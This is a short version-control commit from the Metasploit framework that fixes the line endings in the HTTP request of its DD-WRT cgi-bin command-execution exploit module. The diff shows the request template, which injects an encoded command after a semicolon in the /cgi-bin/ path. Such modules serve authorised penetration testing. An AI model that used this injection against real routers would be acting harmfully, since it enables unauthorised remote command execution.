Remove the extraneous \r\n (thanks Shuyao!)

git-svn-id: file:///home/svn/framework3/trunk@6884 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/linux/http/ddwrt_cgibin_exec.rb

@@ -67,8 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		req = 
 			"GET /cgi-bin/;#{str} HTTP/1.1\r\n" +
 			"Host: #{rhost}\r\n" +
-			"Content-Length: 0\r\n" +
-			"\r\n\r\n"
+			"Content-Length: 0\r\n\r\n"
 		
 		print_status("Sending GET request with encoded command line...")
 		sock.put(req)